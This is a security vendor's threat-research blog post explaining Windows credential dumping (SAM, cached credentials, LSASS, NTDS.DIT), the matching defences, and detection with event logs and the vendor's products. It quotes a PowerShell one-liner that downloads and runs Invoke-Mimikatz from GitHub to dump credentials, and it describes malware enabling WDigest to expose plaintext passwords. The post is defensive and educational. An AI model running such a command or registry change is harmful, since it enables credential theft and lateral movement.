Threat Research

Offense and Defense – A Tale of Two Sides: (Windows) OS Credential Dumping

By Anthony Giandomenico | May 21, 2020

This is the 3rd installment of the “Offense and Defense – A Tale of Two Sides” blog series, where we focus on different tactics and techniques malicious actors use to complete their cyber missions—and how organizations can detect and ultimately prevent them. If you happened to miss the first two blogs of the series you can check them out at Offense and Defense – A Tale of Two Sides: PowerShell, and Offense and Defense – A Tale of Two Sides: Bypass UAC.

Introduction 

In this blog, we will walk through the wonderful world of Windows credentials. Specifically, we will focus on a technique called OS Credential Dumping. Essentially, if a threat is moving laterally across your environment, it’s highly likely that a threat actor has performed some type of credential dumping to allow them to jump from system to system. So, it’s important to make sure you can detect as well as protect against this technique.

If you’re familiar with the original MITRE ATT&CK framework, you might be asking “I thought it was just called Credential Dumping?” And you would be right. But due to the growing number of techniques being documented in this category, MITRE decided to break down all the knowledge base into sub-techniques. This particular technique is still found under Credential Access, but it’s now a technique that includes eight sub-techniques. I will not cover all of them in this blog, but I will zero in on three of them pertaining to Windows. 

Windows Credentials 

The Windows operating system has many different places it stores or caches its credentials. Below are some of the types of Windows credentials it stores, and the locations where these credentials can be found:

  • Security Accounts Manager (SAM) database. 
    • The SAM database is a file that is present on all Windows systems. This file contains all accounts created, as well as all built-in accounts found on a Windows operating system (XP, Vista, Win7, 8.1 and 10). Passwords are stored here as hashes. (NT password hash) 
  • Other Files 
    • Passwords can also be found in a variety of files, including configuration files and user created files (usually plaintext). Certain log files may contain credential information, such as installer logs, and can also sometimes be found in crash reports. 
  • Cached Credentials 
    • Domain credentials are cached in the registry to allow users to log into their system when it’s not connected to the domain. The Windows system caches the last 10 logon hashes, and some store up to 25 by default. This number is configurable in the registry. 
  • Local Security Authority Secret (LSA) 
    • LSA secrets are stored in the registry and allow services to run with user privileges. This includes VPNs, scheduled tasks, auto-logins, backup service accounts, IIS websites, etc. They are included in the Security/Policy/Secrets registry in encrypted form. 
  • Local Security Authority Subsystem Service Process (LSASS) 
    • When logging into a Windows machine, either locally or in a domain, credentials are stored in the LSASS process in memory. This is primarily used to allow the user to access other resources on the network that they are authorized to access without having to re-authenticate. The stored formats can be plaintext (reversable encryption), NT and LM hash, and Kerberos tickets. 
  • Credential Store Manager 
    • The manager is available with Windows 7 and higher. It’s basically a digital vault that allows users to store user credentials “safely.” All the credentials are stored in a specific folder on the Windows system. Windows and Web credentials can be stored here. 
  • Active Directory Domain database (NTDS.DIT)
    • This database stores all credentials for users and computers located on every active directory Domain controller server in an active directory domain environment. (%SystemRoot%\NTDS folder) 

OS Credential Dumping Attacks & Defenses 

As you can see, the Windows operating system stores credentials in a variety of places and formats, giving the adversary many options to choose from when focused on compromising credentials. 

Credential dumping attacks, as I mentioned earlier, are oftentimes the first technique used in a chain of techniques designed to enable a threat actor to move laterally within an environment. Once they have the right access, they will figure out how to copy their malicious payload to a system, followed by figuring out a way to execute that payload remotely. From there, they rinse and repeat throughout the environment. Sometimes this is a manual process, but it often occurs automatically. 

I am mentioning this because if you identify any of the credential dumping techniques we will discuss in this blog, it may be worth looking at other evidence around the next two lateral movement steps. 

One example may be reviewing logs for signs that Psexec.exe and Psexesvc.exe are being used to copy and execute the malware remotely. If you don’t know what Psexec is, it’s a Microsoft Sysinternals tool for copying and executing processes/files on other systems, making it useful for remote administration. It’s also used by threat actors to copy via SMB malware to a remote system and execute it. The reason I also listed the psexecsvc.exe file is because when psexec.exe runs, it will copy the psexecsvc.exe file to the remote system and then start it as a service. I will stop here for now, but know that when you’re looking for this activity the sending machine will have psexec.exe artifacts and the remote machine receiving the files and execution will have the psexecsvc.exe service artifacts available for discovery. 

If you want to read more about the three steps for lateral movement, check out the Thrip ATP Attack Update blog from 2018. For now, let’s get back into Credential Dumping techniques. 

Figure 1. Using the PsExec command to copy and execute files.

According to the Mitre ATT&CK Knowledge base, there are eight different OS credential dumping techniques. To keep this blog at a manageable length, however, we will only discuss the three that pertain to Windows. 

Cached Domain Credentials 

As I mentioned before, the Windows operating system, when configured to log into an active directory (AD) domain, the system (depending on the OS version) can store up to the last 25 logon credentials (default setting) so you can still login when you are not able to connect to the AD domain. It’s worth noting that these cache credentials do not go away after a reboot. They are persistent because they are stored in the registry (HKLM\Security hive) in an Mscach2 format. 

Many tools are freely available to siphon those cached credentials from the registry, such as cachedump, Metasploit, PWDumpx, and creddump. If the bad guys are successful in dumping the cached credentials, they will still have to use a password cracking tool like precomputed rainbow tables or John the Ripper to brute-force the hashes in an effort to obtain the real password, which is required to be able to log into another system. Finally, to extract cached domain credentials they will also need SYSTEM permission. 

LSASS Memory 

Because hash credentials such as NT/LM and Kerberos Tickets are stored in memory, specifically in the LSASS process, a bad actor with the right access (Administrative) can dump the hashes using a variety of freely available tools. These include Mimikatz and Windows Credentials Editor. 

TsPkg, WDigest, and LiveSSP may be found in memory as well. These can be decrypted fairly easily, which results in plaintext passwords. A good blog posting for more information can be found here.

Unlike cached domain credentials, once the user logs out the hashes in memory are no longer present. There may be some situations where the hashes are still available after the user logs off due to applications or processes still using them. But for the most part, the user has to be logged in to steal their credentials. This is another reason you should not be logging in as an administrator, especially a domain administrator. If this attack is successful while a domain admin is logged in, the attacker would end up with keys to the entire domain. 

In addition, these dumped hashes can be used to authenticate into another system without cracking to get the plaintext password. This technique is called Pass-the-Hash. This type of attack only works with NTLM authentication, but many modern systems have NTLM authentication available. We will demonstrate reproducing the Pass-the-Hash technique in a video later in the blog. 

NTDS 

When an attacker establishes an initial beachhead in an environment, they will oftentimes look for servers that have the role of domain controller (DC). This is because the NTDS.DIT file that exists on each DC contains all user and computer account hashes. If they get their hands on that information, they will have free rein over all resources within the AD domain. 

The hashes contained in the database are in NT format, but could also have hashes in LM format depending on the older version of the system being used. In addition, password history is also available in the NTDS.DIT file. 

For access, the attacker needs domain access—which also means that if they have managed to get to that level you’re in trouble already. This credential extraction is a bit more difficult because the file is already in use, so it’s locked. The attacker will then need raw access to the disk itself, which can be done through a driver. Alternatively, the bad actor could get it through the Volume Shadow Copy. 

Since ransomware is so prevalent these days, you’re probably used to hearing how attackers want to delete Volume Shadow Copies. FortiGuard Labs wrote a really good blog called Stomping Shadow Copies that discusses the different ways being used to achieve this. But in this case, the attacker will either extract the Volume Shadow Copy or create one if nothing exists. Another small hurdle would be that they also need to gather the SAM and SYSTEM registries for decrypting the information contained in the NTDS database.

Even though I only discussed three strategies, you can imagine, based on the various locations the credentials are stored in Windows, that there are many more ways to steal credentials.

Defense for OS Credential Dumping 

Besides some good vendor tools, there are some things you can configure to better defend against the attacks that I listed above. 

  • Limit Administrator Access 
    • Many of these techniques require administrator or domain administrator privileges to execute. Ensuring that everyone is logged in as an average user will help in defending against these attacks. 
  • Use Unique Local Administrator Account Passwords
    • If you are using the same local admin account password across all your workstations, one compromise of a local account will give attackers admin access into the others. Limiting them by using unique local administrator passwords will make it harder for the adversary to move laterally. To help with this, try Microsoft’s Local Administrator Password Solution (LAPS). It’s a password manager that leverages active directory to manage and rotate passwords for local admin accounts on your workstations.  
  • Avoid using highly privileged accounts for remote interactive sessions 
    • When you log into a Windows device interactively (console logon, RDP or runas), your hashes will be present in memory, especially on servers. Try to limit this as much as possible. 
  • Use Credential Guard 
    • This is a new feature introduced in Windows 10 that isolates the LSASS process through virtualization. It basically runs in a virtual container that creates a proxy called LSAIso to allow for communications to the isolated LSASS process. It’s worth noting that even with administrator privileges you cannot dump credentials with this protection. This is probably the strongest defense for OS credential dumping. 
  • Limit the number of cached logon accounts 
    • For cached accounts, you can set a limit on the number of logons stored in the registry. Not a perfect solution, but it does help. 
  • Enforce Strict Password Policies (Length and Complexity) 
    • If credentials are stolen and need to be cracked offline, the longer and more complex the password, the longer time it will take to successfully crack them. 

Please note that all the above defenses can be bypassed, including the Credential Guard, but it sure makes it a lot harder for the bad actors. 

Real-World Examples & Detections 

Today’s threat actors are increasingly using the above techniques to steal OS credentials. Because there are so many different open source tools to steal OS passwords, many actors will just use the open source version instead of creating their own. This first example, below, is from a blog posted by FortiGuard Labs, titled New Trickbot Plugin Harvests Email Addresses from SQL Servers, ScreenLocker Module Not for Ransom from 2018. The Trickbot threat is using Mimikatz (an opensource tool) to extract passwords from the LSASS process in memory. Specifically, it’s trying to steal the WDigest credentials which are in plaintext. 

The challenge, however, is that when Windows 8.1 came out Microsoft introduced a way to mitigate the attack by creating a switch that could be set in a new registry entry to prevent the storing of credentials in memory. 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

If the registry value was set to ‘0’, credentials in memory can be disabled. If it was set to ‘1’, some services would then rely on WDigest authentication. To get around this pesky little hump, the malware simply made sure that the registry toggle was set to ‘1’, thereby enabling the WDigest authentication. See Figure 2, extracted from the blog. 

Figure 2. Malware modifying the registry setting to enable WDigest authentication

Although this activity was simple enough to perform, the setting would not take effect until after the user logged back in again. The solution the attacker came up with was to lock the screen and force the user to supply their credentials again. Since the registry value was now set to enable WDigest authentication, the credentials were now stored in memory and ready for the Mimikatz tool to extract them. See below, in Figures 3, 4, and 5.

Figure 3. OS checking and locking screen routine
Figure 4. ScreenLocker module’s main function locks the user’s screen
Figure 5. Function to load and execute Mimikatz library in memory to extract credentials

In another example, the threat actor will sometimes use a post-exploitation framework tool that contains a variety of opensource modules, such as PowerShell Empire. While this opensource project is no longer supported, it is still available for use. The FortiResponder team has seen this in the wild before, and the PowerShell script calling Mimikatz may look something like this: 

PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/E

mpire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m

You can see that it’s reaching out of GitHub to run a PowerShell script to run Mimikatz. Our FortiEDR technology commonly blocks this suspicious process from communicating to the destination, as you can see in Figure 6, below. 

Figure 6. FortiEDR blocking communications from a suspicious application

Since many opensource tools are used in the wild with malware, it would also make sense to ensure you are identifying any of these freely available tools and block them. With FortiEDR in place, we can block on pre-execution as well as post-execution, including Mimikatz ,as you can see below. 

Figure 7. FortiEDR blocking Mimikatz.exe on pre-execution
Figure 8. FortiEDR blocking Mimikatz tool on post-execution

As usual, our FortiSIEM customers can also take advantage of many pre-canned rules to detect OS Credential dumping, including the LSASS process tampering technique, using the advanced Windows agent, as well as detecting the suspicious activity of volume shadow copy, which could be indicative of stealing credentials from the NTDS.dit file. Below is a sample of the LSASS rule and detection log, along with a really nice bird’s eye view of the Mitre ATT&CK Tactic used and the corresponding technique. This can be really helpful when tying the technique chain together. 

Figure 9. FortiSIEM rules for LSASS process tampering.
Figure 10. FortiSIEM event triggering on potential LSASS tampering.
Figure 11. FortiSIEM Mitre ATT&CK tactics view

Staying on the theme of detection and the use of embedded opensource tools in malware, if you happen to be investigating an incident where you suspect OS Credential Dumping was used, then here are a few items to check for within the Windows event viewer. 

  • Look for new processes created – Event ID 4688
    • Within this event record, look for the various opensource tools that could be used, including Mimikatz, PWdumpX, Creddump, Windows Credential Editor (WCE), Cachedump, Metasploit, NTDSXtract, Ntdsdump, and Vssown.
    • There are many resources that can list a number of tools used for dumping credentials. Here is one of them. https://pentestlab.blog/tag/vssown/
  • Review the LSASS process 
    • Review this process to identify any tampering that would indicate an attempt at stealing credentials from memory. 
  • Review Vssadmin usage
    • Since Vssadmin is used to administer volume shadow copies it would be worth checking out any activity with that executable. For example, the attacker may create a shadow copy in order to install the NTDS.DIT file. 

Reproducing the Techniques 

Trying to simulate the OS Credential Dumping techniques could take some time as there are multiple techniques and tools used to achieve OS credential stealing. I understand that it’s great to put your detections on the names of the tools, but those names can change very easily, so focus more on the activity the tools generate. Find the ones that are more static in nature. Below are a few simulation and open source tools that can be used for reproducing the techniques. 

Simulation Tools

Atomic Red Team is always a good source to test for Mitre ATT&CK techniques. Figure 12, below, is a list of Atomic Tests.

Figure 12. Atomic Technique Tests

Open Source Defensive Testing Tools

The tools available for testing your OS Credential Dumping defenses through open source are vast. I listed a few throughout the blog, and have included them again below. 

- Metasploit 

- Mimikatz

- Fgdump

- Gsecdump

- PWDumpX

- Creddump

- WCE

- Cachedump

- NTDSXtract

- Ntdsdump

- VssOwn.vbs

As a quick example, I recorded the following two videos. The first one shows how to use a very simple (and old) tool called hashdump. It’s part of meterpreter in Metasploit, so you will need to have established a foothold on your test machine with a meterpreter session and system privileges. The tool will dump information such as credential hashes from the SAM database. The second demonstrates how you can query for other available systems in the environment and use the pass-the-hash technique to move laterally to those systems leveraging the stolen credentials. 

Conclusion 

In this blog we focused on a few techniques the adversary can use to steal operating system credentials. As I mentioned a few times, it’s important to note that obtaining the right credentials is a key first step in allowing an attacker to move laterally across your environment. So start by testing your security controls to ensure you can protect against or detect any of these techniques that could lead to further expansion into your environment. And at the same time, many open source tools are also being embedded in the malware being used today, so get familiar with them as well to understand the digital dust they may leave behind.  

I will close this blog like I did last time. As you go through the process of testing each OS Credential Dumping technique, it is important to not only understand the technique, but also be able to simulate it. Next, monitor your security controls, evaluate if any gaps exist, and document and make improvements needed for coverage.

Solutions and Mitigations

If you struggle with keeping up to date with all of this, you can always turn to your consulting partner or vendor to make sure you have the right security controls and services in place to keep up with the latest threats. 

And remember that you are also able to address these risks and identify related malicious activities using such Fortinet solutions as FortiEDRMDR (part of FortiResponder), UEBA (FortiInsight), and FortiSIEM. You can also detect lateral movement within your network using FortiDeceptor.

Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolioSign up for the weekly Threat Brief from FortiGuard Labs. 

Learn more about Fortinet’s free cybersecurity training initiative or about the Fortinet Network Security Expert programNetwork Security Academy program, and FortiVet program.